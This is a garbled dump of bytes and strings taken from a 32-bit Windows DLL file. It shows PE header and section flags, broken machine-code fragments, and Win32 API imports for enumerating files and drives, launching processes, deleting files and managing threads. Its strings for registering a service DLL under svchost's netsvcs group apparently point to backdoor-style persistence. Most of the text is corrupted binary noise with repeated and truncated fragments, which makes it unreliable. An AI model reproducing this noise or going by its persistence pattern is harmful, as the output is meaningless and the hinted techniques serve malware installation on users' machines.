IMAGE_FILE_EXECUTABLE_IMAGE

IMAGE_FILE_LINE_NUMS_STRIPPED

IMAGE_FILE_LOCAL_SYMS_STRIPPED

IMAGE_FILE_32BIT_MACHINE

IMAGE_FILE_DLL





SetFilePointer

���

c

��z������z������z������֡��������|����������Ҩ�����Rich���

n����畖������z������z������z������֡��������|����������Ҩ�����Rich���

�����������n����畖������z������z������z������֡��������|����������Ҩ�����Rich���

�����Ҩ�����Rich���

�����|����������Ҩ�����Rich���

��z������֡��������|����������Ҩ�����Rich���

ReadFile

mode. $

GetFileSize

RemoveDirectoryA

LocalAlloc

FindFirstFileA

LocalReAlloc

FindNextFileA

LocalFree

FindClose

GetLogicalDriveStringsA

GetVolumeInformationA

GetDiskFreeSpaceExA

GetDriveTypeA

CreateProcessA

GetFileAttributesA

CreateDirectoryA

GetLastError

DeleteFileA

GetVersionExA

GetPrivateProfileStringA

lstrcmpA

WideCharToMultiByte

MultiByteToWideChar

LoadLibraryA

GetProcAddress

FreeLibrary

GetWindowsDirectoryA

lstrcatA

GetPrivateProfileSectionNamesA

lstrlenA

Sleep

CancelIo

InterlockedExchange

lstrcpyA

ResetEvent

VirtualAlloc

EnterCriticalSection

LeaveCriticalSection

VirtualFree

DeleteCriticalSection

InitializeCriticalSection

CreateThread

CreateEventA

ResumeThread

SetEvent

cannot be run in DOS mode. $

GetModuleFilMZ�

MoveFileA

CreateFileA

WriteFile

WaitForSingleObject

TerminateThread

CloseHandle

jVP�<@

P�MQ�X@

�E�

����

�|���R�Ӆ�t"��|���P�

�5�@

�E�;�tPW��P�֋E�;�tPW��P�֋E�;�tPW��P��Ð������������QSUV�t$W�����3�����I�D$

�E�;�tPW��P�֋E�;�tPW��P��Ð������������QSUV�t$W�����3�����I�D$

PW��P��������������QSUV�t$W�����3�����I�D$

UV�t$W�����3�����I�D$

����I�D$

��h���f��tWV��|���R�Ӆ�t"��|���P�

p�����t�

�M�Q�T@

�E�;�tPW�

t�



�L$PQ�@



Z1

�0

�/

�.

P.

23

0

CDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

�-

�.

QRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

ghijklmnopqrstuvwxyz0123456789+/

0123456789+/

ecurityDescriptorControl

advapi32.dll

ccessAllowedAceEx

x

%s\%d_res.tmp

tsvcs_0x%d

netsvcs

@

rrentVersion\Svchost

ft\Windows NT\CurrentVersion\Svchost

ion

ers

N

x.dll

e -k netsvcs

t%\System32\svchost.exe -k netsvcs

)

ControlSet\Services\%s

ces\%s

urrentControlSet\Services\%s

ervices\%s

enSCManager()

ValueEx(Svchost\netsvcs)

netsvcs)

lModule

AA

AVtype_info@@

�(@

@

h@

hp(@

؉}��}��}Љ}��}܉}���x���P�M�QW�U�RW�]SW�(@

�}��}܉}���x���P�M�QW�U�RW�]SW�(@

SW�(@

�@

Pj�

�׋��u����;

�׉E����

VSj

��

]S�5,@

�



��

�E�����

�0@

�4@

M��E�

M�tjj�M�QP�

�tc�u܋=@@

����

����l���R��p���P�M�Q�T@

����p�����l�����l���R��p���P�M�Q�T@

h�@

���Q�P@

�j

��

�U�R�ׅ���

�E�f�HQPj�j�U�R�ׅ���

���

�E�P�D@

�s:�U�RV�E�P�D@

F�E���t?;u�s:�U�RV�E�P�D@

*

�EPj�M�Q�L@

�D

j�U�R�Ѕ��D

�St�MQjj�U�R�Ѕ��D

h@

@

u�릋=@@

E�P�ׅ���

��u 3ҋE�f�PRPj�j�E�P�ׅ���

@
u>��PS�H@

D@

�@

G�P��

�G
��<=��u>�D$@���D$} �����U

�|؋D$��_^]���[YËD$+���VP�Q

�t�T$:�t�H
@��u�����-�@

���A;�|��D$[YËD$

��

�R�@

Q� @

�@

ord116

ord115

����

ord21

ord4

ord9

ord52

ord23

ord15

ord16

ord3

ord18

ord19

ord12

ord57

ord10

ord151

ord17

ord6

ord2

ord5

ord1

ord20

ord13

ord11

���������������D$P�������j

��x

P�������j

�

dPj�Qj

T$�D$RP�L$j�Qj
��$�

L$j�Qj
��$�

$�

t$��tu�D$3���v]��@

���L$\h

T$Ph

@

@

IMAGE_SCN_CNT_CODE

IMAGE_SCN_MEM_EXECUTE

IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DATA

IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DATA

IMAGE_SCN_MEM_READ

IMAGE_SCN_MEM_WRITE

IMAGE_SCN_CNT_INITIALIZED_DATA

IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DATA

IMAGE_SCN_MEM_DISCARDABLE

IMAGE_SCN_MEM_READ